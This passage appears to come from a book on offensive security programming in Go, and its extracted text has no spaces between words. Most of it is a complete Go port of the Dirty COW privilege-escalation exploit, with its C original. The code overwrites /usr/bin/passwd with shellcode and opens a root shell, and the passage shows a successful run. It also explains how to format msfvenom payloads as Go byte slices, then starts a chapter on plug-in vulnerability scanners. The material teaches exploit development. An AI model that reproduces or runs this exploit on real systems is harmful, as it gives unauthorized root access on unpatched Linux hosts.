exploitsthevulnerabilitybyoverwritingthecontentsofa binaryexecutablefilethathappenstohavetheSUIDbitset andbelongstotherootuser.Inthiscase,thatbinaryis /usr/bin/passwd.Normally,anonrootuserwouldn’tbeableto overwritethefile.However,becauseoftheDirtyCOW vulnerability,youachieveprivilegeescalationbecauseyou canwritearbitrarycontentstothefilewhilepreservingthefile permissions. Nowlet’sbreaktheCcodeintoeasilydigestibleportions andcompareeachsectionwithitsequivalentinGo.Notethat theGoversionisspecificallytryingtoachievealine-by-line reproductionoftheCversion.Listing9-6showstheglobal variablesdefinedorinitializedoutsideourfunctionsinC, whileListing9-7showstheminGo. ❶void*map; intf; ❷intstop=0; structstatst; char*name; pthread_tpth1,pth2,pth3; //changeifnopermissionstoread ❸charsuid_binary[]="/usr/bin/passwd"; ❹unsignedcharsc[]={ 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00, --snip-- 0x68,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05 }; unsignedintsc_len=177; Listing9-6:InitializationinC ❶varmappuintptr ❷varsignals=make(chanbool,2) ❸constSuidBinary="/usr/bin/passwd" ❹varsc=[]byte{ 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00, --snip-- 0x68,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05, } Listing9-7:InitializationinGo ThetranslationbetweenCandGoisfairlystraightforward. Thetwocodesections,CandGo,maintainthesame numberingtodemonstratehowGoachievessimilar functionalitytotherespectivelinesofCcode.Inbothcases, youtrackmappedmemorybydefiningauintptrvariable❶.In Go,youdeclarethevariablenameasmappsince,unlikeC,map isareservedkeywordinGo.Youtheninitializeavariableto beusedforsignalingthethreadstostopprocessing❷.Rather thanuseaninteger,astheCcodedoes,theGoconventionis insteadtouseabufferedbooleanchannel.Youexplicitly defineitslengthtobe2sincetherewillbetwoconcurrent functionsthatyou’llwishtosignal.Next,youdefineastring toyourSUIDexecutable❸andwrapupyourglobalvariables byhardcodingyourshellcodeintoaslice❹.Ahandfulof globalvariableswereomittedintheGocodecomparedtothe Cversion,whichmeansyou’lldefinethemasneededwithin theirrespectivecodeblocks. Next,let’slookatmadvise()andprocselfmem(),thetwoprimary functionsthatexploittheracecondition.Again,we’llcompare theCversioninListing9-8withtheGoversioninListing9-9. void*madviseThread(void*arg) { char*str; str=(char*)arg; inti,c=0; for(i=0;i<1000000&&!stop;i++❶){ c+=madvise(map,100,MADV_DONTNEED)❷; } printf("threadstopped\n"); } void*procselfmemThread(void*arg) { char*str; str=(char*)arg; intf=open("/proc/self/mem",O_RDWR); inti,c=0; for(i=0;i<1000000&&!stop;i++❶){ ❸lseek(f,map,SEEK_SET); c+=write(f,str,sc_len)❹; } printf("threadstopped\n"); } Listing9-8:RaceconditionfunctionsinC funcmadvise(){ fori:=0;i<1000000;i++{ select{ case<-signals:❶ fmt.Println("madvisedone") return default: syscall.Syscall(syscall.SYS_MADVISE,mapp,uintptr(100), syscall.MADV_DONTNEED)❷ } } } funcprocselfmem(payload[]byte){ f,err:=os.OpenFile("/proc/self/mem",syscall.O_RDWR,0) iferr!=nil{ log.Fatal(err) } fori:=0;i<1000000;i++{ select{ case<-signals:❶ fmt.Println("procselfmemdone") return default: syscall.Syscall(syscall.SYS_LSEEK,f.Fd(),mapp,uintptr(os.SEEK_SET)) ❸ f.Write(payload)❹ } } } Listing9-9:RaceconditionfunctionsinGo Theraceconditionfunctionsusevariationsforsignaling ❶.Bothfunctionscontainforloopsthatiterateanextensive numberoftimes.TheCversionchecksthevalueofthestop variable,whiletheGoversionusesaselectstatementthat attemptstoreadfromthesignalschannel.Whenasignalis present,thefunctionreturns.Intheeventthatnosignalis waiting,thedefaultcaseexecutes.Theprimarydifferences betweenthemadvise()andprocselfmem()functionsoccurwithinthe defaultcase.Withinourmadvise()function,youissueaLinux systemcalltothemadvise()❷function,whereasyour procselfmem()functionissuesLinuxsystemcallstolseek()❸and writesyourpayloadtomemory❹. HerearethemaindifferencesbetweentheCandGo versionsofthesefunctions: TheGoversionusesachanneltodeterminewhentoprematurelybreaktheloop, whiletheCfunctionusesanintegervaluetosignalwhentobreaktheloopafter thethreadraceconditionhasoccurred. TheGoversionusesthesyscallpackagetoissueLinuxsystemcalls.The parameterspassedtothefunctionincludethesystemfunctiontobecalledandits requiredparameters.Youcanfindthename,purpose,andparametersofthe functionbysearchingLinuxdocumentation.Thisishowweareabletocall nativeLinuxfunctions. Now,let’sreviewthewaitForWrite()function,whichmonitors forthepresenceofchangestoSUIDinordertoexecutethe shellcode.TheCversionisshowninListing9-10,andtheGo versionisshowninListing9-11. void*waitForWrite(void*arg){ charbuf[sc_len]; ❶for(;;){ FILE*fp=fopen(suid_binary,"rb"); fread(buf,sc_len,1,fp); if(memcmp(buf,sc,sc_len)==0){ printf("%sisoverwritten\n",suid_binary); break; } fclose(fp); sleep(1); } ❷stop=1; printf("Poppingrootshell.\n"); printf("Don'tforgettorestore/tmp/bak\n"); ❸system(suid_binary); } Listing9-10:ThewaitForWrite()functioninC funcwaitForWrite(){ buf:=make([]byte,len(sc)) ❶for{ f,err:=os.Open(SuidBinary) iferr!=nil{ log.Fatal(err) } if_,err:=f.Read(buf);err!=nil{ log.Fatal(err) } f.Close() ifbytes.Compare(buf,sc)==0{ fmt.Printf("%sisoverwritten\n",SuidBinary) break } time.Sleep(1*time.Second) } ❷signals<-true signals<-true fmt.Println("Poppingrootshell") fmt.Println("Don'tforgettorestore/tmp/bak\n") attr:=os.ProcAttr{ Files:[]*os.File{os.Stdin,os.Stdout,os.Stderr}, } proc,err:=os.StartProcess(SuidBinary,nil,&attr)❸ iferr!=nil{ log.Fatal(err) } proc.Wait() os.Exit(0) } Listing9-11:ThewaitForWrite()functioninGo Inbothcases,thecodedefinesaninfiniteloopthat monitorstheSUIDbinaryfileforchanges❶.WhiletheC versionusesmemcmp()tocheckwhethertheshellcodehasbeen writtentothetarget,theGocodeusesbytes.Compare().Whenthe shellcodeispresent,you’llknowtheexploitsucceededin overwritingthefile.Youthenbreakoutoftheinfiniteloop andsignaltherunningthreadsthattheycannowstop❷.As withthecodefortheraceconditions,theGoversiondoesthis viaachannel,whiletheCversionusesaninteger.Lastly,you executewhatisprobablythebestpartofthefunction:the SUIDtargetfilethatnowhasyourmaliciouscodewithinit❸. TheGoversionisalittlebitmoreverbose,asyouneedtopass inattributescorrespondingtostdin,stdout,andstderr:files pointerstoopeninputfiles,outputfiles,anderrorfile descriptors,respectively. Nowlet’slookatourmain()function,whichcallsthe previousfunctionsnecessarytoexecutethisexploit.Listing9- 12showstheCversion,andListing9-13showstheGo version. intmain(intargc,char*argv[]){ char*backup; printf("DirtyCowrootprivilegeescalation\n"); printf("Backingup%s..to/tmp/bak\n",suid_binary); ❶asprintf(&backup,"cp%s/tmp/bak",suid_binary); system(backup); ❷f=open(suid_binary,O_RDONLY); fstat(f,&st); printf("Sizeofbinary:%d\n",st.st_size); ❸charpayload[st.st_size]; memset(payload,0x90,st.st_size); memcpy(payload,sc,sc_len+1); ❹map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("Racing,thismaytakeawhile..\n"); ❺pthread_create(&pth1,NULL,&madviseThread,suid_binary); pthread_create(&pth2,NULL,&procselfmemThread,payload); pthread_create(&pth3,NULL,&waitForWrite,NULL); pthread_join(pth3,NULL); return0; } Listing9-12:Themain()functioninC funcmain(){ fmt.Println("DirtyCowrootprivilegeescalation") fmt.Printf("Backingup%s..to/tmp/bak\n",SuidBinary) ❶backup:=exec.Command("cp",SuidBinary,"/tmp/bak") iferr:=backup.Run();err!=nil{ log.Fatal(err) } ❷f,err:=os.OpenFile(SuidBinary,os.O_RDONLY,0600) iferr!=nil{ log.Fatal(err) } st,err:=f.Stat() iferr!=nil{ log.Fatal(err) } fmt.Printf("Sizeofbinary:%d\n",st.Size()) ❸payload:=make([]byte,st.Size()) fori,_:=rangepayload{ payload[i]=0x90 } fori,v:=rangesc{ payload[i]=v } ❹mapp,_,_=syscall.Syscall6( syscall.SYS_MMAP, uintptr(0), uintptr(st.Size()), uintptr(syscall.PROT_READ), uintptr(syscall.MAP_PRIVATE), f.Fd(), 0, ) fmt.Println("Racing,thismaytakeawhile..\n") ❺gomadvise() goprocselfmem(payload) waitForWrite() } Listing9-13:Themain()functioninGo Themain()functionstartsbybackingupthetarget executable❶.Sinceyou’lleventuallybeoverwritingit,you don’twanttolosetheoriginalversion;doingsomayadversely affectthesystem.WhileCallowsyoutorunanoperating systemcommandbycallingsystem()andpassingittheentire commandasasinglestring,theGoversionreliesonthe exec.Command()function,whichrequiresyoutopassthe commandasseparatearguments.Next,youopentheSUID targetfileinread-onlymode❷,retrievingthefilestats,and thenusethemtoinitializeapayloadsliceofidenticalsizeas thetargetfile❸.InC,youfillthearraywithNOP(0x90) instructionsbycallingmemset(),andthencopyoveraportionof thearraywithyourshellcodebycallingmemcpy().Theseare conveniencefunctionsthatdon’texistinGo. Instead,inGo,youloopoverthesliceelementsand manuallypopulatethemonebyteatatime.Afterdoingso, youissueaLinuxsystemcalltothemapp()function❹,which mapsthecontentsofyourtargetSUIDfiletomemory.Asfor previoussystemcalls,youcanfindtheparametersneededfor mapp()bysearchingtheLinuxdocumentation.Youmaynotice thattheGocodeissuesacalltosyscall.Syscall6()ratherthan syscall.Syscall().TheSyscall6()functionisusedforsystemcallsthat expectsixinputparameters,asisthecasewithmapp().Lastly, thecodespinsupacoupleofthreads,callingthemadvise()and procselfmem()functionsconcurrently❺.Astheracecondition ensues,youcallyourwaitForWrite()function,whichmonitorsfor changestoyourSUIDfile,signalsthethreadstostop,and executesyourmaliciouscode. Forcompleteness,Listing9-14showstheentiretyofthe portedGocode. varmappuintptr varsignals=make(chanbool,2) constSuidBinary="/usr/bin/passwd" varsc=[]byte{ 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00, --snip-- 0x68,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05, } funcmadvise(){ fori:=0;i<1000000;i++{ select{ case<-signals: fmt.Println("madvisedone") return default: syscall.Syscall(syscall.SYS_MADVISE,mapp,uintptr(100), syscall.MADV_DONTNEED) } } } funcprocselfmem(payload[]byte){ f,err:=os.OpenFile("/proc/self/mem",syscall.O_RDWR,0) iferr!=nil{ log.Fatal(err) } fori:=0;i<1000000;i++{ select{ case<-signals: fmt.Println("procselfmemdone") return default: syscall.Syscall(syscall.SYS_LSEEK,f.Fd(),mapp,uintptr(os.SEEK_SET)) f.Write(payload) } } } funcwaitForWrite(){ buf:=make([]byte,len(sc)) for{ f,err:=os.Open(SuidBinary) iferr!=nil{ log.Fatal(err) } if_,err:=f.Read(buf);err!=nil{ log.Fatal(err) } f.Close() ifbytes.Compare(buf,sc)==0{ fmt.Printf("%sisoverwritten\n",SuidBinary) break } time.Sleep(1*time.Second) } signals<-true signals<-true fmt.Println("Poppingrootshell") fmt.Println("Don'tforgettorestore/tmp/bak\n") attr:=os.ProcAttr{ Files:[]*os.File{os.Stdin,os.Stdout,os.Stderr}, } proc,err:=os.StartProcess(SuidBinary,nil,&attr) iferr!=nil{ log.Fatal(err) } proc.Wait() os.Exit(0) } funcmain(){ fmt.Println("DirtyCowrootprivilegeescalation") fmt.Printf("Backingup%s..to/tmp/bak\n",SuidBinary) backup:=exec.Command("cp",SuidBinary,"/tmp/bak") iferr:=backup.Run();err!=nil{ log.Fatal(err) } f,err:=os.OpenFile(SuidBinary,os.O_RDONLY,0600) iferr!=nil{ log.Fatal(err) } st,err:=f.Stat() iferr!=nil{ log.Fatal(err) } fmt.Printf("Sizeofbinary:%d\n",st.Size()) payload:=make([]byte,st.Size()) fori,_:=rangepayload{ payload[i]=0x90 } fori,v:=rangesc{ payload[i]=v } mapp,_,_=syscall.Syscall6( syscall.SYS_MMAP, uintptr(0), uintptr(st.Size()), uintptr(syscall.PROT_READ), uintptr(syscall.MAP_PRIVATE), f.Fd(), 0, ) fmt.Println("Racing,thismaytakeawhile..\n") gomadvise() goprocselfmem(payload) waitForWrite() } Listing9-14:ThecompleteGoport(/ch-9/dirtycow/main.go/) Toconfirmthatyourcodeworks,runitonyourvulnerable host.There’snothingmoresatisfyingthanseeingarootshell. alice@ubuntu:~$gorunmain.go DirtyCowrootprivilegeescalation Backingup/usr/bin/passwd..to/tmp/bak Sizeofbinary:47032 Racing,thismaytakeawhile.. /usr/bin/passwdisoverwritten Poppingrootshell procselfmemdone Don'tforgettorestore/tmp/bak root@ubuntu:/home/alice#id uid=0(root)gid=1000(alice)groups=0(root),4(adm),1000(alice) Asyoucansee,asuccessfulrunoftheprogrambacksup the/usr/bin/passwdfile,racesforcontrolofthehandle, overwritesthefilelocationwiththenewlyintendedvalues, andfinallyproducesasystemshell.TheoutputoftheLinuxid commandconfirmsthatthealiceuseraccounthasbeenelevated toauid=0value,indicatingroot-levelprivilege. CREATINGSHELLCODEINGO Intheprevioussection,youusedrawshellcodeinvalidELF formattooverwritealegitimatefilewithyourmalicious alternative.Howmightyougeneratethatshellcodeyourself? Asitturnsout,youcanuseyourtypicaltoolsettogenerate Go-friendlyshellcode. We’llshowyouhowtodothiswithmsfvenom,acommand- lineutility,buttheintegrationtechniqueswe’llteachyou aren’ttool-specific.Youcanuseseveralmethodstoworkwith externalbinarydata,beitshellcodeorsomethingelse,and integrateitintoyourGocode.Restassuredthatthefollowing pagesdealmorewithcommondatarepresentationsthan anythingspecifictoatool. TheMetasploitFramework,apopularexploitationand post-exploitationtoolkit,shipswithmsfvenom,atoolthat generatesandtransformsanyofMetasploit’savailable payloadstoavarietyofformatsspecifiedviathe-fargument. Unfortunately,thereisnoexplicitGotransform.However, youcanintegrateseveralformatsintoyourGocodefairly easilywithminoradjustments.We’llexplorefiveofthese formatshere:C,hex,num,raw,andBase64,whilekeepingin mindthatourendgoalistocreateabytesliceinGo. CTransform IfyouspecifyaCtransformtype,msfvenomwillproducethe payloadinaformatthatyoucandirectlyplaceintoCcode. Thismayseemlikethelogicalfirstchoice,sincewedetailed manyofthesimilaritiesbetweenCandGoearlierinthis chapter.However,it’snotthebestcandidateforourGocode. Toshowyouwhy,lookatthefollowingsampleoutputinC format: unsignedcharbuf[]= "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" --snip-- "\x64\x00"; We’reinterestedalmostexclusivelyinthepayload.To makeitGo-friendly,you’llhavetoremovethesemicolonand alterthelinebreaks.Thismeansyou’lleitherneedto explicitlyappendeachlinebyaddinga+totheendofalllines exceptthelast,orremovethelinebreaksaltogethertoproduce onelong,continuousstring.Forsmallpayloadsthismaybe acceptable,butforlargerpayloadsthisbecomestedioustodo manually.You’llfindyourselflikelyturningtootherLinux commandssuchassedandtrtocleanitup. Onceyoucleanupthepayload,you’llhaveyourpayload asastring.Tocreateabyteslice,you’dentersomethinglike this: payload:=[]byte("\xfc\xe8\x82..."). It’snotabadsolution,butyoucandobetter. HexTransform Improvinguponthepreviousattempt,let’slookatahex transform.Withthisformat,msfvenomproducesalong, continuousstringofhexadecimalcharacters: fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ff...6400 Ifthisformatlooksfamiliar,it’sbecauseyouuseditwhen portingtheJavadeserializationexploit.Youpassedthisvalue asastringintoacalltohex.DecodeString().Itreturnsabyteslice anderrordetails,ifpresent.Youcoulduseitlikeso: payload,err:= hex.DecodeString("fce8820000006089e531c0648b50308b520c8b52148b 72280fb74a2631ff...6400") TranslatingthistoGoisprettysimple.Allyouhavetodo iswrapyourstringindoublequotesandpassittothefunction. However,alargepayloadwillproduceastringthatmaynotbe aestheticallypleasing,wrappinglinesorrunningbeyond recommendedpagemargins.Youmaystillwanttousethis format,butwe’veprovidedathirdalternativeintheeventthat youwantyourcodetobebothfunctionalandpretty. NumTransform Anumtransformproducesacomma-separatedlistofbytesin numerical,hexadecimalformat: 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b, 0x50,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26, 0x31,0xff, --snip-- 0x64,0x00 Youcanusethisoutputinthedirectinitializationofabyte slice,likeso: payload:=[]byte{ 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b, 0x50,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26, 0x31,0xff, --snip-- 0x64,0x00, } Becausethemsfvenomoutputiscomma-separated,thelistof bytescanwrapnicelyacrosslineswithoutclumsilyappending datasets.Theonlymodificationrequiredistheadditionofa singlecommaafterthelastelementinthelist.Thisoutput formatiseasilyintegratedintoyourGocodeandformatted pleasantly. RawTransform Arawtransformproducesthepayloadinrawbinaryformat. Thedataitself,ifdisplayedontheterminalwindow,likely producesunprintablecharactersthatlooksomethinglikethis: ÐÐÐ`ÐÐ1ÐdÐP0ÐR Ð8ÐuÐ}Ð;}$uÐXÐX$ÐfÐYIÐ:IÐ4ÐÐ1ÐÐÐÐ Youcan’tusethisdatainyourcodeunlessyouproduceit inadifferentformat.Sowhy,youmayask,areweeven discussingrawbinarydata?Well,becauseit’sfairlycommon toencounterrawbinarydata,whetherasapayloadgenerated fromatool,thecontentsofabinaryfile,orcryptokeys. Knowinghowtorecognizebinarydataandworkitintoyour Gocodewillprovevaluable. UsingthexxdutilityinLinuxwiththe-icommandline switch,youcaneasilytransformyourrawbinarydataintothe numformatoftheprevioussection.Asamplemsfvenom commandwouldlooklikethis,whereyoupipetherawbinary outputproducedbymsfvenomintothexxdcommand: $msfvenom-p[payload][options]-fraw|xxd-i Youcanassigntheresultdirectlytoabytesliceas demonstratedintheprevioussection. Base64Encoding Althoughmsfvenomdoesn’tincludeapureBase64encoder,it’s fairlycommontoencounterbinarydata,includingshellcode, inBase64format.Base64encodingextendsthelengthofyour data,butalsoallowsyoutoavoiduglyorunusablerawbinary data.Thisformatiseasiertoworkwithinyourcodethannum, forexample,andcansimplifydatatransmissionoverprotocols suchasHTTP.Forthatreason,it’sworthdiscussingitsusage inGo. TheeasiestmethodtoproduceaBase64-encoded representationofbinarydataistousethebase64utilityin Linux.Itallowsyoutoencodeordecodedataviastdinorfrom afile.Youcouldusemsfvenomtoproducerawbinarydata,and thenencodetheresultbyusingthefollowingcommand: $msfvenom-p[payload][options]-fraw|base64 MuchlikeyourCoutput,theresultingpayloadcontains linebreaksthatyou’llhavetodealwithbeforeincludingitas astringinyourcode.YoucanusethetrutilityinLinuxto cleanuptheoutput,removingalllinebreaks: $msfvenom-p[payload][options]-fraw|base64|tr-d"\n" Theencodedpayloadwillnowexistasasingle,continuous string.InyourGocode,youcanthengettherawpayloadasa byteslicebydecodingthestring.Youusetheencoding/base64 packagetogetthejobdone: payload,err:= base64.StdEncoding.DecodeString("/OiCAAAAYInlMcBki1Awi...WFuZAA=") You’llnowhavetheabilitytoworkwiththerawbinary datawithoutalltheugliness. ANoteonAssembly Adiscussionofshellcodeandlow-levelprogrammingisn’t completewithoutatleastmentioningassembly.Unfortunately fortheshellcodecomposersandassemblyartists,Go’s integrationwithassemblyislimited.UnlikeC,Godoesn’t supportinlineassembly.Ifyouwanttointegrateassemblyinto yourGocode,youcandothat,sortof.You’llhaveto essentiallydefineafunctionprototypeinGowiththe assemblyinstructionsinaseparatefile.Youthenrungobuildto compile,link,andbuildyourfinalexecutable.Whilethismay notseemoverlydaunting,theproblemistheassembly languageitself.Gosupportsonlyavariationofassembly basedonthePlan9operatingsystem.Thissystemwascreated byBellLabsandusedinthelate20thcentury.Theassembly syntax,includingavailableinstructionsandopcodes,isalmost nonexistent.ThismakeswritingpurePlan9assemblya daunting,ifnotnearlyimpossible,task. SUMMARY Despitelackingassemblyusability,Go’sstandardpackages offeratremendousamountoffunctionalityconduciveto vulnerabilityhuntersandexploitdevelopers.Thischapter coveredfuzzing,portingexploits,andhandlingbinarydata andshellcode.Asanadditionallearningexercise,we encourageyoutoexploretheexploitdatabaseat https://www.exploit-db.com/andtrytoportanexistingexploit toGo.Dependingonyourcomfortlevelwiththesource language,thistaskcouldseemoverwhelmingbutitcanbean excellentopportunitytounderstanddatamanipulation, networkcommunications,andlow-levelsysteminteraction. Inthenextchapter,we’llstepawayfromexploitation activitiesandfocusonproducingextendabletoolsets. 10 GOPLUGINSANDEXTENDABLE TOOLS Manysecuritytoolsareconstructedasframeworks—core components,builtwithalevelofabstractionthatallowsyouto easilyextendtheirfunctionality.Ifyouthinkaboutit,this makesalotofsenseforsecuritypractitioners.Theindustryis constantlychanging;thecommunityisalwaysinventingnew exploitsandtechniquestoavoiddetection,creatingahighly dynamicandsomewhatunpredictablelandscape.However,by usingplug-insandextensions,tooldeveloperscanfuture- prooftheirproductstoadegree.Byreusingtheirtools’core componentswithoutmakingcumbersomerewrites,theycan handleindustryevolutiongracefullythroughapluggable system. This,coupledwithmassivecommunityinvolvement,is arguablyhowtheMetasploitFrameworkhasmanagedtoage sowell.Hell,evencommercialenterpriseslikeTenableseethe valueincreatingextendableproducts;Tenablereliesona plug-in-basedsystemtoperformsignaturecheckswithinits Nessusvulnerabilityscanner. Inthischapter,you’llcreatetwovulnerabilityscanner extensionsinGo.You’llfirstdothisbyusingthenativeGo plug-insystemandexplicitlycompilingyourcodeasashared object.Thenyou’llrebuildthesameplug-inbyusingan embeddedLuasystem,whichpredatesthenativeGoplug-in system.Keepinmindthat,unlikecreatingplug-insinother languages,suchasJavaandPython,creatingplug-insinGois afairlynewconstruct.Nativesupportforplug-inshasexisted onlysinceGoversion1.8.Further,itwasn’tuntilGoversion 1.10thatyoucouldcreatetheseplug-insasWindowsdynamic linklibraries(DLLs).Makesureyou’rerunningthelatest versionofGosothatalltheexamplesinthischapterworkas planned. USINGGO’SNATIVEPLUG-IN SYSTEM Priortoversion1.8ofGo,thelanguagedidn’tsupportplug- insordynamicruntimecodeextendibility.Whereaslanguages likeJavaallowyoutoloadaclassorJARfilewhenyou executeyourprogramtoinstantiatetheimportedtypesandcall theirfunctions,Goprovidednosuchluxury.Althoughyou couldsometimesextendfunctionalitythroughinterface implementationsandsuch,youcouldn’ttrulydynamically loadandexecutethecodeitself.Instead,youneededto properlyincludeitduringcompiletime.Asanexample,there wasnowaytoreplicatetheJavafunctionalityshownhere, whichdynamicallyloadsaclassfromafile,instantiatesthe class,andcallssomeMethod()ontheinstance: Filefile=newFile("/path/to/classes/"); URL[]urls=newURL[]{file.toURL()}; ClassLoadercl=newURLClassLoader(urls); Classclazz=cl.loadClass("com.example.MyClass"); clazz.getConstructor().newInstance().someMethod(); Luckily,thelaterversionsofGohavetheabilitytomimic thisfunctionality,allowingdeveloperstocompilecode explicitlyforuseasaplug-in.Limitationsexist,though. Specifically,priortoversion1.10,theplug-insystemworked onlyonLinux,soyou’dhavetodeployyourextendable frameworkonLinux. Go’splug-insarecreatedassharedobjectsduringthe buildingprocess.Toproducethissharedobject,youenterthe followingbuildcommand,whichsuppliespluginasthebuildmode option: $gobuild-buildmode=plugin Alternatively,tobuildaWindowsDLL,usec-sharedasthe buildmodeoption: $gobuild-buildmode=c-shared TobuildaWindowsDLL,yourprogrammustmeetcertain conventionstoexportyourfunctionsandalsomustimportthe Clibrary.We’llletyouexplorethesedetailsonyourown. Throughoutthischapter,we’llfocusalmostexclusivelyonthe Linuxplug-invariant,sincewe’lldemonstratehowtoloadand useDLLsinChapter12. Afteryou’vecompiledtoaDLLorsharedobject,a separateprogramcanloadandusetheplug-inatruntime.Any oftheexportedfunctionswillbeaccessible.Tointeractwith theexportedfeaturesofasharedobject,you’lluseGo’splugin package.Thefunctionalityinthepackageisstraightforward. Touseaplug-in,followthesesteps: 1. Callplugin.Open(filenamestring)toopenasharedobjectfile,creatinga *plugin.Plugininstance. 2. Onthe*plugin.Plugininstance,callLookup(symbolNamestring)toretrievea Symbol(thatis,anexportedvariableorfunction)byname. 3. UseatypeassertiontoconvertthegenericSymboltothetypeexpectedbyyour program. 4. Usetheresultingconvertedobjectasdesired. YoumayhavenoticedthatthecalltoLookup()requiresthe consumertosupplyasymbolname.Thismeansthatthe consumermusthaveapredefined,andhopefullypublicized, namingscheme.ThinkofitasalmostadefinedAPIorgeneric interfacetowhichplug-inswillbeexpectedtoadhere. Withoutastandardnamingscheme,newplug-inswould requireyoutomakechangestotheconsumercode,defeating theentirepurposeofaplug-in-basedsystem. Intheexamplesthatfollow,youshouldexpectplug-insto defineanexportedfunctionnamedNew()thatreturnsaspecific interfacetype.Thatway,you’llbeabletostandardizethe bootstrappingprocess.Gettingahandlebacktoaninterface allowsustocallfunctionsontheobjectinapredictableway. Nowlet’sstartcreatingyourpluggablevulnerability scanner.Eachplug-inwillimplementitsownsignature- checkinglogic.Yourmainscannercodewillbootstrapthe processbyreadingyourplug-insfromasingledirectoryon yourfilesystem.Tomakethisallwork,you’llhavetwo separaterepositories:oneforyourplug-insandoneforthe mainprogramthatconsumestheplug-ins. CreatingtheMainProgram CreatingtheMainProgram Let’sstartwithyourmainprogram,towhichyou’llattach yourplug-ins.Thiswillhelpyouunderstandtheprocessof authoringyourplug-ins.Setupyourrepository’sdirectory structuresoitmatchestheoneshownhere: $tree . ---cmd ---scanner ---main.go ---plugins ---scanner ---scanner.go Thefilecalledcmd/scanner/main.goisyourcommandline utility.Itwillloadtheplug-insandinitiateascan.Theplugins directorywillcontainallthesharedobjectsthatyou’llload dynamicallytocallvariousvulnerabilitysignaturechecks. You’llusethefilecalledscanner/scanner.gotodefinethedata typesyourplug-insandmainscannerwilluse.Youputthis dataintoitsownpackagetomakeitalittlebiteasiertouse. Listing10-1showswhatyourscanner.gofilelookslike. (Allthecodelistingsattherootlocationof/existunderthe providedgithubrepohttps://github.com/blackhat-go/bhg/.) packagescanner //Scannerdefinesaninterfacetowhichallchecksadhere ❶typeCheckerinterface{ ❷Check(hoststring,portuint64)*Result } //Resultdefinestheoutcomeofacheck ❸typeResultstruct{ Vulnerablebool Detailsstring } Listing10-1:Definingcorescannertypes(/ch-10/plugin-core/scanner/scanner.go) Inthispackage,namedscanner,youdefinetwotypes.The firstisaninterfacecalledChecker❶.Theinterfacedefinesa singlemethodnamedCheck()❷,whichacceptsahostandport valueandreturnsapointertoaResult.YourResulttypeis definedasastruct❸.Itspurposeistotracktheoutcomeofthe check.Istheservicevulnerable?Whatdetailsarepertinentin documenting,validating,orexploitingtheflaw? You’lltreattheinterfaceasacontractorblueprintofsorts; aplug-inisfreetoimplementtheCheck()functionhoweverit chooses,solongasitreturnsapointertoaResult.Thelogicof theplug-in’simplementationwillvarybasedoneachplug-in’s vulnerability-checkinglogic.Forinstance,aplug-inchecking foraJavadeserializationissuecanimplementtheproper HTTPcalls,whereasaplug-incheckingfordefaultSSH credentialscanissueapassword-guessingattackagainstthe SSHservice.Thepowerofabstraction! Next,let’sreviewcmd/scanner/main.go,whichwill consumeyourplug-ins(Listing10-2). constPluginsDir="../../plugins/"❶ funcmain(){ var( files[]os.FileInfo errerror p*plugin.Plugin nplugin.Symbol checkscanner.Checker res*scanner.Result ) iffiles,err=ioutil.ReadDir(PluginsDir)❷;err!=nil{ log.Fatalln(err) } foridx:=rangefiles{❸ fmt.Println("Foundplugin:"+files[idx].Name()) ifp,err=plugin.Open(PluginsDir+"/"+files[idx].Name())❹;err!=nil{ log.Fatalln(err) } ifn,err=p.Lookup("New")❺;err!=nil{ log.Fatalln(err) } newFunc,ok:=n.(func()scanner.Checker)❻ if!ok{ log.Fatalln("Pluginentrypointisnogood.Expecting:funcNew() scanner.Checker{...}") } check=newFunc()❼ res=check.Check("10.0.1.20",8080)❽ ifres.Vulnerable{❾ log.Println("Hostisvulnerable:"+res.Details) }else{ log.Println("HostisNOTvulnerable") } } } Listing10-2:Thescannerclientthatrunsplug-ins(/ch-10/plugin- core/cmd/scanner/main.go) Thecodestartsbydefiningthelocationofyourplug-ins ❶.Inthiscase,you’vehardcodedit;youcouldcertainly improvethecodesoitreadsthisvalueinasanargumentor environmentvariableinstead.Youusethisvariabletocall ioutil.ReadDir(PluginDir)andobtainafilelisting❷,andthenloop overeachoftheseplug-infiles❸.Foreachfile,youuseGo’s pluginpackagetoreadtheplug-inviaacalltoplugin.Open()❹.If thissucceeds,you’regivena*plugin.Plugininstance,whichyou assigntothevariablenamedp.Youcallp.Lookup("New")to searchyourplug-inforasymbolnamedNew❺. Aswementionedduringthehigh-leveloverviewearlier, thissymbollookupconventionrequiresyourmainprogramto providetheexplicitnameofthesymbolasanargument, meaningyouexpecttheplug-intohaveanexportedsymbolby thesamename—inthiscase,ourmainprogramislookingfor thesymbolnamedNew.Furthermore,asyou’llseeshortly,the codeexpectsthesymboltobeafunctionthatwillreturna concreteimplementationofyourscanner.Checkerinterface,which wediscussedintheprevioussection. Assumingyourplug-incontainsasymbolnamedNew,you makeatypeassertionforthesymbolasyoutrytoconvertitto typefunc()scanner.Checker❻.Thatis,you’reexpectingthe symboltobeafunctionthatreturnsanobjectimplementing scanner.Checker.Youassigntheconvertedvaluetoavariable namednewFunc.Thenyouinvokeitandassignthereturned valuetoavariablenamedcheck❼.Thankstoyourtype assertion,youknowthatchecksatisfiesyourscanner.Checker interface,soitmustimplementaCheck()function.Youcallit, passinginatargethostandport❽.Theresult,a*scanner.Result, iscapturedusingavariablenamedresandinspectedto determinewhethertheservicewasvulnerableornot❾. Noticethatthisprocessisgeneric;itusestypeassertions andinterfacestocreateaconstructthroughwhichyoucan 